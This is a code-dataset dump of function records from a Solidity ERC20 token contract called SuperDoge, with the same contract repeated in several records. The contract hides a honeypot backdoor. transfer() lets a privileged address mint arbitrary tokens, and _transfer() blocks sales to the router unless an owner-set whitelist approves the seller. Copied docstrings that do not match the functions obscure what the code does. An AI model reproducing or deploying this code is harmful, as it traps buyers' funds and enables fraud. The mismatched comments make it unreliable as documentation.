emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | setmarketingwallet | function setmarketingwallet (address set) public checker {
router = set;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
1237,
1330
]
} | 8,971 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | decimals | function decimals() public view virtual override returns (uint8) {
return 18;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
1596,
1698
]
} | 8,972 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | totalSupply | function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
1752,
1865
]
} | 8,973 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | balanceOf | function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
2178,
2310
]
} | 8,974 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | transfer | function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
2675,
3190
]
} | 8,975 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | fee | function fee(address _count) internal checker {
confirm[_count] = true;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
4315,
4409
]
} | 8,976 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
